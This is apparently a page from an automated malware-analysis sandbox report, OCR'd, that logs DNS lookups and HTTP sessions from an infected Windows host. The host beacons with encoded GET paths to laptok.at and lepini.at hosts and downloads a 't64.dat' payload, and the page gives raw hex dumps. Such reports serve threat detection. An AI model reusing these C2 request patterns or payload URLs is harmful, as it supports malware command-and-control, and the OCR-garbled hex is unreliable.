10:25:07.814851046
CET

Jan 22, 2021 8.8.8.8 192.168.2.4 0x6886

10:25:08.180428982
CET

Jan 22, 2021 8.8.8.8 192.168.2.4 0x6b43

10:25:09.048562050
CET

Jan 22, 2021 8.8.8.8 192.168.2.4 0x8c66

10:25:20.255620956
CET

HTTP Request Dependency Graph

e apil0.laptok.at

e c56.lepini.at

e api3.lepini.at

HTTP Packets

Session ID Source IP
0 192.168.2.4

kBytes
Timestamp transferred
Jan 22, 2021 8386

10:23:54.006242990 CET

Copyright null 2021

Source Port

49792

Direction

ouT

Reply Code Name CName Address Type Class

No error (0) apil0.laptok.at 45.138.24.6 A (IP address)  IN (0x0001)
No error (0) apil0.laptok.at 45.138.24.6 A (IP address)  IN (0x0001)
No error (0) apil0.laptok.at 45.138.24.6 A (IP address)  IN (0x0001)
No error (0) c56.lepini.at 45.138.24.6 A (IP address)  IN (0x0001)
No error (0) resolverl. 208.67.222.222 A (IP address)  IN (0x0001)

opendns.com

No error (0) resolverl. 208.67.222.222 A (IP address)  IN (0x0001)
opendns.com

No error (0) api3.lepini.at 45.138.24.6 A (IP address)  IN (0x0001)
No error (0) api3.lepini.at 45.138.24.6 A (IP address)  IN (0x0001)
No error (0) api3.lepini.at 45.138.24.6 A (IP address)  IN (0x0001)

Destination IP Destination Port Process

45.138.24.6 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /apil/sknLedsCbT_2B4wLtS_2FSf/C8Q4jriZvv/cHfqghQ9vIOvZGO5GP/A0Jz8AHspssc/PRZs4sKIRg7/jH1SdHxUwyz5
RQ/XuBuvpY5wQV4LqlVVPRo/Z9PjsLKgohem6vf_/2FPMNyhDVIs00yE/BuUcdk1zY69hPWFKWm/NvZIHAA31/78W
izcFNxnStriaFjzK7/v_2FVVwIwtM_2F54f79/vZDSa6ivA8gkZ ONEYW9488/C4H0pr8tv19LW/ZXxXdBMw/kw85mx
mCjJ_2Bu320bSyLwF/Yo3etxqqFR/p7BRLVNXVFAdgAAGGN/C_2BCacpFUZ1/tah HTTP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: apil0.laptok.at

Connection: Keep-Alive
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kBytes
Timestamp transferred

Jan 22, 2021 8396
10:23:54.648138046 CET

Session ID Source IP
1 192.168.2.4

kBytes
Timestamp transferred
Jan 22, 2021 8688

10:23:58.848748922 CET

Jan 22, 2021 8689
10:23:59.098011971 CET

Session ID Source IP

2 192.168.2.4
kBytes

Timestamp transferred

Copyright null 2021

Direction

IN

Source Port

49793

Direction

ouT

Source Port

49796

Direction

Data

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 22 Jan 2021 09:23:54 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Data Raw: 32 30 30 30 0d Oa 1f 8b 08 00 00 00 00 00 00 03 14 9b c5 56 ¢3 50 14 45 3f 28 83 b8 0d €3 d2 58 €3 c9 2¢c ee
ee f9 7a ca 10 58 40 f3 de bd e7 ec 4d 17 6a 83 36 11 ba 09 45 3a 6f fc 82 10 87 26 24 a7 da 2f 64 78 97 df e6 bb 28 a9 4f
79 74 c1 a3 bb 49 bb bb 69 3e 2b 21 40 be 7b 08 c8 3e 8b 7c 37 05 fe 07 16 f6 38 71 06 9e 83 a4 6a 96 3e 45 ab 5b 3e 22
7a 04 1b 1b a4 76 7e b6 2f €8 Of 74 23 58 f4 a3 fb f6 7e dd c¢7 18 86 76 70 99 10 eb 13 €9 74 a9 e5 70 9b 03 59 cb 77 5¢c
96 74 71 1a 3b bd 00 ec ab f4 14 19 0d 10 33 d3 ab 4c 82 c6 87 9f 3f 6¢ 73 d6 11 36 22 04 32 45 50 db 14 75 8f ab d8 ce
86 0c 9509 39 ¢7 c0 3b 66 57 10 9c €9 6d b4 4c 50 39 1a 20 17 e5 8a 93 98 70 bc 6¢ 76 ee 21 2b 7a 44 5f 72 39 3f 0a fc
6e 48 99 86 12 dc 68 09 83 32 98 7f €3 c6 94 e4 af 61 b5 3e e3 Of 7c 3a 07 6b 6f 4c 1c 24 62 87 8d 55 aa db €5 18 93 3b
b3 59 74 a9 98 98 9f 8e 99 3f a3 fd ac 6b cd 69 da fa dd f4 a7 79 cfal 14 a8 77 d0 bc 43 79 23 37 €0 99 20 88 6f a8 20 c4
15 7e 61 c¢1 d8 b7 51 22 c8 c8 8f bf da 22 d6 bc 80 58 1b b3 b8 ca be dc 69 a9 9d 8a 55 d1 f1 11 da 47 9d 98 df 9c 9d 1b
b6 bf 81 07 d8 87 e6 f3 f1 15 4d 96 21 08 9c ee 97 6¢ 75 d9 4c d2 ad 30 5 4a 17 d3 76 2b c1 0f 8d 88 d9 d7 61 48 55 f4 55
59 ab Oe 3b 13 47 b7 5c 4c 76 f5 7a a0 97 93 d8 79 4e 6e 5 34 €5 9d 45 9c fb 10 74 7e 95 b9 0a 28 b4 02 c3 00 55 1e 80
a2 cd 96 00 e5 11 bb 3b 25 ¢5 96 01 3¢ 25 b1 10 13 af €9 63 9f 22 20 7d c5 78 ec 42 fe 96 c9 a4 91 4b Oe 84 69 4e 8e 4d
ee 77 d3 ee 7e b9 c9 b8 fb c9 bd 99 5d 9c 8 1c al 48 5b ba bb e9 eb 77 2e ac 68 fd 0a b6 18 d3 e7 Oe ed 06 99 7a 54 fd
b8 c9 06 58 6e 8d eb 4d 01 78 90 11 ee e6 99 ab 30 ea 38 ba €9 d7 ad ad dd d5 0f 35 87 2e dd eb 1b 03 5d 95 73 9b 83
60 55 d1 e0 60 50 2d 85 d6 84 Oc ea dc cc bf 96 07 ad c0 94 f9 6a b3 el e5 17 fO ce Ob 5¢c 68 a3 89 6a 3d e4 2a ae c4 3d
c4 1d 23 96 e6 3b a6 38 7c 8a 2c 2f 98 65 f5 1c 81 bf b4 a7 41 80 8 44 57 34 37 95 d5 a7 de 77 db 23 cb 47 eb d5 2a 79
7491 b6 €9 9b 12 d9 31 4c 12 d2 3d bf 63 fd 32 db b2 09 1f e4 ca 8d 7b b1 48 3e 5¢c 16 28 ba 98 eb db c7 4f a6 63 €2 ab
8c 07 87 88 e592 15 c1 13 87 9d 78 a7 4b 90 6¢ 5d de a9 f3 11 68 6f 31 06 05 05 01 8d 27 fa d4 7b d7 d2 3e c0 fd 02 5d
43 9e 41 a0 8b 6e 00 00 e3 ec 7a 7f 97 f5 83 00 33 de 2b f8 d4 91 6b 51 4a 00 1c 28 50 aa ce 23 1c 9a 2f fb 4e 44 76 39
3e e6 9e le 87 24 4a 40 b6 5¢ d5 2c b2 32 44 fe ba 53 7d ¢5 01 f9 e3 e5 12 ca 76 b9 70 e4 ed b9 a7 17 85 Of ee €9 74 90
18 3f87 68 1d 11 61 b6 86 04 13 ea 5b d6 38 7c 85 6b 28 46 €6 1la df d2 d9 c2 50 Ob 27 47 72 fb bd 82 ee dc 27 18 05 8f
df b0 4f 25 ef dc 57 90 57 8b 62 55 4f 1c 1a 44 89 04 32 7f 8a c9 68 cb f1 15 a7 d6 36 45 9e 06 ba a5 be 53 7e 3d ce 07
ac 9a 87 4e bf ¢3 62 cd 1c c2 20 6e 7b 4b e2 1d f2 91 al b9 f3 f0 94 d3 30 a8 d4 f9 15 98 3e b1 d9 fb cc 3d 99 cb 98 32 3e
ab 9a 4b 6 99 e7 74 21 28 2f 30 dc 49 24 9d ab 83 e8 b6 85 58 c5 8f 9d ¢3 06 73 2¢ 7b 65 3e 5a 3f 10 a0 bb 82 5b 98 2¢
3e ba ae 34 02 23 2b 28 1f 3c 31 56 ae a3 51 b7 6f 2d 35 d6 42 44 6f be 7d 2c 0d 8b f1 ed d2 7a b5 25 c6 c¢7 b9 2d 77 d5
0d a6 17 b8 00 55 1c 5e 6f 34 73 be bl 1f 58 df b4 97 77 7c 4d df ac 33 al 18 e8 df cf ea 7d 16 4c fO a8 ad bb

Data Ascii: 2000VPE?(X,zX@M]6E:0&$/dx(Oytli>+!@{>|78qj>E[>"zv~/t#X~vptpYw\tq;3L?Is6"2EPU9;fWmLP9 plv!+zD_r9?
nHh2a>|:koL$bU;Yt?kiywCy#7 0 ~aQ""XiUGM!uL0Jv+aHUUY;G\LvzyNn4Et~(U;%<%c" IXBKINMw~]H[w.hzTXnMx085.]s"
U’P-j\hj=*=#;8|,/eADW47w#G*yt1L=c2{H>\(OcxKl]hol'{>]CAnz3+kQJ(P#/NDv9>$J@\,2DS}vpt?ha[8|k(FP'Gr'O%WW
bUOD2h6ES~=Nb n{K0>=2>Kt!(/0I$Xs,{e>Z?[,>4#+(<1VQ0-5BDo},z%-wU"o4sXw|M3}L

Destination IP Destination Port Process

45.138.24.6 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Fri, 22 Jan 2021 09:23:59 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Content-Encoding: gzip

Data Raw: 36 61 0d Oa 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd bl e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2¢ c9 49 b5 33
313051 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da €8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b Oc 43 74 1d
4011 1b 7d a8 34 c8 6¢ a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 Ob d9 61 33 92 00 00 00 0d Oa 30 0d Oa Od
Oa

Data Ascii: 6a(HML),1310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Destination IP Destination Port Process

45.138.24.6 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data
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kBytes

Timestamp transferred Direction

Jan 22, 2021 8718 ouT

10:24:00.613425970 CET

Jan 22, 2021 8728 IN

10:24:01.310352087 CET

Session ID Source IP Source Port

3 192.168.2.4 49797
kBytes

Timestamp transferred Direction

Jan 22, 2021 9040 ouT

10:24:06.273139000 CET

Jan 22, 2021 9041 IN

10:24:06.517229080 CET

Session ID Source IP Source Port

4 192.168.2.4 49798

Copyright null 2021

Data

GET /apil/8t0bR6VSCGA/ZdsVj6T4k_2FoN/BLdu_2BpSFXgKfcNrQmOV/evOhudVOITNV8_2B/N1INUzrdZB3VXtw
r/czINvgLVnHAQL34hBx/_2F4Uw8ch/l08_2BdQScLQi_2B7dkM/YBU5VEGT5kIQ01W1Rxk/oP4y1983nfNNLWOOFd
mkwO/SIYApPRJIyCfISI/FISp1wFu/11p6fGFUOCcz_2F0ouRmTqJI/Ip2cYIM8B8/Y ut84Zr03wWkVJI8HW/_2Bs4q032
l05/cXLpMBT20ue/wmMCkODoOCwkFa/R5_2BwVrdhg4SycoUpM1g/WdY_2FMtLacKdQm6/_2B87YclJ9Jv74j/B_2B
PGCFKoDrv4QA/twu HTTP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 22 Jan 2021 09:24:01 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Data Raw: 32 30 30 30 0d Oa 1f 8b 08 00 00 00 00 00 00 03 14 99 c5 96 a4 40 10 45 3f 88 05 6e 4b dc al 71 d9 el ee ce
d7 4f cd ba 4f 75 41 66 c4 7b {7 9e 6a 42 cd cd 5a 02 ce 25 1c 0f d1 8¢ d0 91 bb 84 13 19 f9 bb ¢2 5d 7b a8 a8 ad 77 03
19 cd b8 70 a9 60 06 44 d7 15 30 5d bc a7 13 ¢7 25 ca 02 Oc 9e 93 €6 81 cb ¢5 10 0d cc 74 df 8¢ 5d 92 a9 06 20 94 47 09
a3 3a 9f 4e 47 8d e7 71 2f 01 ad 90 3a 14 06 fe d4 f4 44 67 a9 49 5 ae 73 62 ae 62 €2 c0 83 17 25 c7 f0 57 89 31 e0 24
3a Of af 1a 1f 8a 29 6f 37 91 10 62 c7 47 0f 15 ca 14 98 ed e6 74 d8 7 c4 c3 1d 99 47 62 37 1f cb 31 6d 7e 68 4c 98 a3 2f
6d 1b 55 5a b5 83 1b €8 68 28 b4 2¢ c0 7b a2 0f 8d 11 15 16 d7 e0 b0 67 €3 29 e4 79 a0 f2 1e 53 5e 9a 3 1c 16 ba b8 dc
0b 95 30 57 ff 43 bf fd 74 04 32 7f 51 bc 43 99 e8 4b 56 22 cf b4 7c 67 b3 2a 3 bd 45 8e 5e 84 63 83 85 66 67 80 16 ff 6e
11 99 3b 22 65 3c 16 bl af 82 f1 bd cO bc 20 fd 16 Oa f1 39 a9 07 28 24 fe 88 27 94 84 69 92 4a fd 49 08 fe 36 ce 7d 71 47
07 62 1e cc 83 11 3c 88 da 76 b5 a7 13 a5 2d d8 ce a9 02 49 2c 39 d1 06 e7 3a fe 44 c3 a7 eb c3 a3 3c 12 66 f0 01 cc e7
32 b4 cc 0d 98 da Oe b6 d6 a9 3c 48 72 5f 9e bc d4 79 5e 77 71 dc 54 ac 7c e0 e0 ce 58 4e b0 59 ec b8 4c 91 ca Ob Of be
b4 57 08 17 9c 70 37 87 3b €3 89 ba 76 b7 81 d4 89 ce f8 8c a9 05 de 92 14 a8 de b4 b8 b7 el aa d1 27 c0 5d 5c 6¢ 5f 92
9 82 ae 83 4f b6 9f 47 f4 de al 8e ee 23 72 2d 05 18 90 e5 34 b7 d6 Ob d6 01 10 €8 45 72 b1 a8 22 fd 73 b0 85 3d 19 26
27 55 d35d b5 05 51 78 €5 6b 70 ca 85 1f 94 ¢7 b5 6a c6 2c¢ 18 f7 fd 27 4a f4 9e ac al ce e3 c9 e8 22 37 5f 5d bb dd 86 9f
90 06 79 5d 26 cd bc b3 02 9e 1e cc 39 fa Ob 37 80 4b 53 cb ce 62 94 3c e2 dd 5b d1 64 8e 88 5b b6 ff 3a a9 c2 el fe 9d
28 98 3f f6 €8 f1 06 fc 66 89 bf 30 Oe 26 48 a6 df 39 2d b2 98 50 eb 64 ce 02 46 46 f1 f8 3b 82 Oc 11 9e 34 e4 47 49 2f Ob
d4 6a 56 ca 1d 5d f1 ab 91 d3 82 0a 07 2a 71 24 09 a5 6d 47 f9 ae 80 57 ec 63 60 8d fe cd b4 €8 42 93 d4 92 1f bc 82 52
f4 9b a8 0a 38 37 21 7e 57 42 2b 89 80 0f c5 b5 66 81 96 87 54 eb d4 bc 2f d3 7a e7 e3 ee 41 12 be d5 d4 0f d8 d9 a0 74
81 3c ¢6 6a 0c db 96 bd 05 01 41 65 Oc ad 7d 66 90 cc 6d ba 8c 3a 5e 67 30 4c 80 08 a7 b0 18 1a ec 8b 24 5a 26 c8 bd
74 28 22 47 c7 ef 7e ae a0 d2 fe 00 ae 4a 99 fb ec 71 8f f8 ca 7c f3 c5 94 22 33 da d3 ee be 3b 43 6e b8 63 c6 e0 06 Oa 15
d1 47 e7 a3 e4 69 6a 95 el 58 3a 39 bf 3f 61 el 2f 8d 83 e1 07 81 7d b8 34 bd 7c 2e 59 27 b0 e7 6¢ ee 2d 51 00 d2 17 01
95 3b 1b 23 3e 5153 70 72 11 e2 ¢6 37 ed 63 05 6e b1 38 ce c5 3d 99 f7 c9 97 dc 2b 9b 8e 9c 0a 72 6a 0 55 c8 e4 3d c3
55 10 8e 56 eb 6d 25 9b 37 66 09 €8 77 58 4f 01 09 6d fd 34 3c d4 a5 05 4c 4d 16 2a db b3 al 25 4b 1f 39 1a c9 d6 64 ce
68 f7 09 28 8c 5e 1d de f1 41 fb e7 af 5¢c Ob 7e 09 el dc 93 71 89 ff a3 ab 48 b8 ee 8b 55 9e cb 05 9a ba 2c fd d4 98 4a 66
bf 5a ae 9¢ 90 ad 2e 98 d3 d7 c9 51 63 fd 64 c7 6f 7e 98 4b 92 27 8d 7b a2 41 06 d7 15 bl 7a af Ob dd 82 84 ef 41 59 fd {3
04 d4 a8 d5 de 38 fd db db 58 87 08 28 27 fc 93 92 5a Oe ba d6 63 d9 a6 ac 63 b7 f1 3c 9c ed d4 4c c6 44 2d bf ef f9 Ob 95
7e 6a 8¢ f9 2f a3 7e 2b fc 27 63 70 59 c6 07 fa c5 95 dd 57 5a d8 c4 83 3e d4 e9 f4 34 4b 39 15

Data Ascii: 2000@E?nKqOOuAf{jBZ%]{wp D0]%t] G:NGq/:Dglsbb%W1$:)07bGtGb71m~hL/mUZh(,{g)yS"OWCt2QCKV"|
g*Ecfgn;"e< 9($'1J16}qGb<v-1,9:D<f2<Hr_y"wqT|XNYLWp7;v\_OG#r-4Er's=&'U]Qxkpj,'3"7_]y]&97KSb<[d[:(?f0&H9-Pd
FF;4Gl/jV]*qg$mGWc BR87!~WB+{T/zAt<jAe}fm: gOL$Z&t("G~Jq|"3;CncGijX:9?7a/}4|.Y'l-Q;#>QSpr7cn8=+rju=UVm
%7fwXOm4<LM*%K9dh("A\~qHU,JfZ.Qcdo~K'{AzAY8X('Zcc<LD-~j/~+'cpYWZ>4K9

Destination IP Destination Port Process

45.138.24.6 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Fri, 22 Jan 2021 09:24:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Content-Encoding: gzip

Data Raw: 36 61 0d Oa 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd bl e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2¢ c9 49 b5 33
313051 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da €8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b Oc 43 74 1d
4011 1b 7d a8 34 c8 6¢ a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 Ob d9 61 33 92 00 00 00 0d Oa 30 0d Oa Od
Oa

Data Ascii: 6a(HML),1310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Destination IP Destination Port Process

45.138.24.6 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe
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kBytes

Timestamp transferred Direction

Jan 22, 2021 9042 ouT

10:24:08.208430052 CET

Jan 22, 2021 9044 IN

10:24:08.639508963 CET

Session ID Source IP Source Port

5 192.168.2.4 49800
kBytes

Timestamp transferred Direction

Jan 22, 2021 9058 ouT

10:25:02.429384947 CET

Copyright null 2021

Data

GET /apil/CVkO0Ytal500rIFRU/dT4qwboWJixM/ID45ufaeNnl/cacgVxu7PaX2PX/1lY OlIQMGvnkM470JxaNOf/hFcn44i0YU
Vm90w4/QXHAASK_2F13d/50Q_2F_2FlecjTnC8w/7KFf50_2B/DvKXcUwkT|3k340yPZ_2/BQTne0OTWIY5rOyyHL
CZ/QdvKBvOOKuUZfpJiCfSiXDe/gwaqygzTOhF505/iOEj4dxL/R_2FX_2FvObMpcldKbASVEW/DM590BVxq7/9d4nMp
uM8bNhVOTMy/RR84HPz6HIaw/UUGT2Q40KHA/IoB4n4vevYeMKu/tNuRkRQOaDraFPOIy8lid/GXrqJWUbrs/H HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 22 Jan 2021 09:24:08 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Data Raw: 37 35 38 0d Oa 1f 8b 08 00 00 00 00 00 00 03 0d 95 b5 81 83 50 00 40 07 a2 20 90 8f 95 b8 4b 70 €8 70 77 67
fa bb 1d 9e 94 4e 86 7e 9c 25 ca f9 98 b0 b8 50 c2 c3 cc bf d7 99 6e 8b 3b 90 25 83 b5 5d 2¢ 7f c0 3b ff 9¢ 93 €3 1b f4 43
ca 5d bd dd 86 a8 9f 4b 65 99 53 9d 88 33 78 28 8b 7 €7 a4 9a 49 88 f8 84 cd 76 f2 bd 7b d5 4b e7 59 aa €9 2c 01 b8 ad
86 66 ac 99 52 ef ed 66 3 79 88 e4 7b 91 bc ¢3 Oc a6 2e e0 8¢ 11 33 fc 25 a8 17 f9 98 34 64 a3 fb 54 ca 88 b4 fd 48 29 12
81 7e b3 d9 96 d3 2f 38 10 8c 73 3b 3a 55 dd 60 64 e7 59 4c f7 bc 8e 9f d4 57 01 3f a0 6¢ d1 dO d3 f4 Oc 97 a9 2¢ 35 bc 4z
60 b6 4e 1a 7b Oc ed 74 bl 8e 2f 92 af b4 32 ¢7 95 c4 61 7c f8 1c 61 ea 8a ba 18 86 1f fb 7b 79 c3 5¢ ef 32 cd f7 5a db ea
81 a5 94 eb 07 6f 64 08 05 ed 34 b7 ac el f1 af 2c 7c 20 7f 66 20 el 87 9d 32 62 4d af 06 67 62 f8 29 el fa a7 ae 21 45 bl
19 d1 d9 ca ce 85 30 7d 7f ae 54 f3 81 b2 54 33 97 7a b4 65 0a 5¢ 66 88 5e 2d 16 bf e7 19 e7 93 df b2 1a c8 a3 9c f4 cc
728170 ae 4d d8 74 00 61 ca 44 5d 1b de ca 08 2f bd 23 f2 8f 03 4f 36 f4 1d b1 ae 09 8a 5e 1a 0Oa 68 10 63 fa 2c 51 78
74 1b bl 18 43 04 Oe 85 2d 61 78 22 f1 f3 7b 5a ¢2 75 34 ec 3a 99 c0 f1 38 7c 13 5f 99 8a be 71 95 a4 49 Oe 09 82 15 39
9d 6d 92 b3 53 4c ce 55 a3 1a 58 14 52 eb 5¢ ¢5 c1 ec ¢5 98 34 7b €8 99 51 8d 14 38 03 35 ea 63 2b b5 bf a6 49 90 97 3
1c 05 f3 16 a5 92 0b 78 90 88 90 58 49 47 41 4f 5a 62 28 b1 b9 68 €2 €9 4b 6¢ 44 be da 58 d5 a8 cf 51 5 1d dc 09 b7 e3
3a d9 4c 52 be 23 1f 35 €9 3e 7d 8¢ f5 8d 9e ca 14 29 74 ba e3 4c a4 2e 6a 94 50 ee 95 a2 31 bf 00 8e fb 20 1b 8c 02 ab
5c bb 12 81 9b 23 ef 62 77 96 81 7d a7 fc 44 5f 85 c3 c2 75 c1 8f b3 86 72 89 c9 bf 17 96 0d b3 86 4d 3f 61 f3 a9 8b 5a ca
15 25 5f 6a 97 11 a4 15 2f 54 ed 06 fd 6d 6a db a9 3f 02 72 ed 01 84 f6 b4 3b 3a 51 8a 5a 48 9c 13 4e €0 21 c1 d6 13 fe
a6 49 f9 Ob 28 6e 7f bf a8 bd 08 48 19 c5 9a bf 5d 1a fc 20 b6 fa 4c c7 cc b3 5d e7 ed 6e ae 79 4a 01 01 fc 8d f1 92 72 91 f
d 55 eb fb 60 75 66 8f 50 b8 66 54 69 c5 fc 58 8b 60 76 61 8¢ 3d 69 19 56 09 18 04 30 4f d8 43 ad b6 3a €7 2b 3e 93 48 6
0 c5 ab de 2c b4 13 40 b4 87 39 d7 €0 f4 ca ec a5 66 88 88 49 d7 6f 05 8e 4b 8d 0d b1 d2 75 3e a6 f4 ae b9 b0 40 a3 f3 f6
09 cd d1 89 75 21 76 f2 2d 8d 37 d7 59 ¢9 d6 0d 89 10 a7 ce ee 41 64 5a ef 72 cd 8a a8 cf 35 1b 33 3d fa a6 c7 c3 of {7 of
7b f1 45 el cf 43 af fe f1 8d 40 15 3a 7a 02 8f 1f 7a 96 b2 b5 cc 1c 75 1a 2e 80 9e a7 10 4f aa 5¢ c1 bc 9e 91 33 ac bl a7
5b f9 le f4 9a 21 2b 3e 2b 3f f9 2a 0f 92 2c 79 46 29 94 f4 20 a7 al 76 14 9f ef 20 55 eb 06 b8 el e2 62 f3 d6 4f 23 88 22
6af9 66 a9 cl 3c e9 fc 7b ce cc 54 43 8¢ 2f bd ad 0d 15 al 66 31 c1 b8 d6 ca 6a 93 c4 c6 e5 39 e9 50 45 20 e0 64 91 53
c9 db 09 1c 2b d6 9b 2d e0 ad 37 06 ae 91 24 e2 69 a4 d2 93 1c 44 80 16 71 fa 3c 67 fb €8 4a d7 70 f8 82 bf 04 04 9f b5
7e 22 ab3a 30 4aal ce 1c 52 dd d8 67 e3 7e bf 12 f4 70 32 42 38 f9 Of ca 7c 2e 8e 25 f4 12 5f 3a ef ba 7 e7 4f 86 4b a9
ab 1a 10 d7 58 Oa ab 2e 89 d9 e5 d3 d9 72 00 98 fe d8 61 87 da db 94 18 46 95 12 da 6¢ 84 01 36 c7 3b 71 7a fd b0 fb b2
al e2 36 cb 9c 26 11 90 a5 3c 87 19 ba b7 2¢ 05 db 37 7d 69 27 18 df f3 20 ce 00 4b

Data Ascii: 758P@ KppwgN~%Pn;%],;C]KeS3x(IV{KY,fRfy{.3%4dTH)~/8s;:U"dYLW?I,5J"N{t/2ala{y\2Zod4,| f 2bMgb)!EQ}T
T3ze\fA-rpMtaD]/#06”hc,QxtC-ax"{Zu4:8|_ql9mSLUXR\4{Q85c+IXXIGAOZb(hKIDXQ:LR#5>htL.jP1 \#bw}D_urM?aZ
%_j/Tmj?r;:QZHN!I(nH] L]nyJrU ufPfTiX va=iVOOC:+>H",@9floKu>@u!v-7YAdZr53={EC@:zzu.O\3[!+>+?* yF) v
UbO#"jf<{TC/f1j9PE dS+-7$iDg<gJp~":0JRg~p2B8|.%_:OKX.raFl6;qz6&<,7}' K

Destination IP Destination Port Process

45.138.24.6 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /jvassets/x|/t64.dat HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive

Pragma: no-cache

Host: c56.lepini.at

Page 64 of 77



kBytes
Timestamp transferred

Jan 22, 2021 9068
10:25:02.715879917 CET

Session ID Source IP
6 192.168.2.4

kBytes
Timestamp transferred
Jan 22, 2021 9238

10:25:08.233155966 CET

Jan 22, 2021 9238
10:25:08.957587004 CET

Session ID Source IP

7 192.168.2.4
kBytes

Timestamp transferred

Copyright null 2021

Direction

IN

Source Port

49801

Direction

ouT

Source Port

49802

Direction

Data

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 22 Jan 2021 09:25:02 GMT

Content-Type: application/octet-stream

Content-Length: 138820

Last-Modified: Mon, 28 Oct 2019 09:43:42 GMT

Connection: close

ETag: "5db6b84e-21e44"

Accept-Ranges: bytes

Data Raw: 17 45 7e 72 ac 5b ed 66 el de 31 9e 70 18 b7 1a 77 cO be b3 e2 43 ff 7c d8 16 7f 6f 35 a2 d1 a5 d2 ec 0d Oc
de 58 84 1a f3 53 04 f0 65 cb 76 1f 35 85 a0 7d 1d f2 44 63 de 89 3 f1 eb d3 60 21 68 3d 3a 93 el 55 94 db 4c d2 f2 b4 3e
34 48 eb e8 47 7b 53 14 54 86 87 a3 d2 0d 55 Oc d0 4f 6f 51 73 eb e2 f9 f4 9b fO 49 af 3d a0 bd ba 48 52 29 a2 84 33 75
9e 48 16 a7 b3 00 58 91 bf bf ea 49 85 ff ¢7 58 36 df 5b 13 ec c2 c6 92 56 72 82 53 68 al ca a8 33 3e e7 8b 8e 6f fa 4b 85
a0 7fbb 5c de 12 ¢3 97 40 27 18 f2 b2 95 91 d8 b7 45 cf 2a 5f 95 76 5b fc 02 c1 9d d7 e5 7f ee ec f5 a0 52 7b 4d 4d ae da
70 b4 71 95 b6 39 2e 38 47 c0 ab 5e fe cf al 6a 5¢ a5 3c 8f 1b 97 Oa 2a 41 5f 6e 2e 85 b4 8e 24 d6 6a 1c cb 43 8c ca 75
7d 09 57 73 3c a2 b8 0b 18 00 21 c1 f5 fc e4 2b 04 14 51 ¢3 36 ea 80 55 0a 28 82 e4 56 51 91 99 bf 11 ae 36 06 cd 81 44
e0 ad db 69 d6 8e 24 28 ee 4c 0d 81 69 8b 96 c0 52 cd ed ec 31 e8 7f 08 d8 ff 0a 82 4d 1d fa a0 28 3c 3f 5f 53 cb 64 ea 5d
7c c7 f0 0f 28 71 5a f4 60 b7 7b f3 e1 19 5b 7b be d1 62 af ef 2f ad 3b 22 a8 03 e7 9f 3d e5 da ca 8b 1a 9c 2c fd 76 89 a9
7 a5 7b 6a b4 47 62 bf 64 5d 54 26 01 9a 1d 3b b0 97 db ¢5 c1 dd 94 52 d0 b2 77 €0 7 00 8d c1 99 02 69 f4 b2 87 b2 Oc
68 b3 9d b6 €6 a6 9f 58 b0 52 8 5e b5 ac 1e 36 41 bd bc 9 5d 3a 2b 5a 40 60 9a 48 c1 b3 4a df cc 81 65 53 4e e4 9a 80
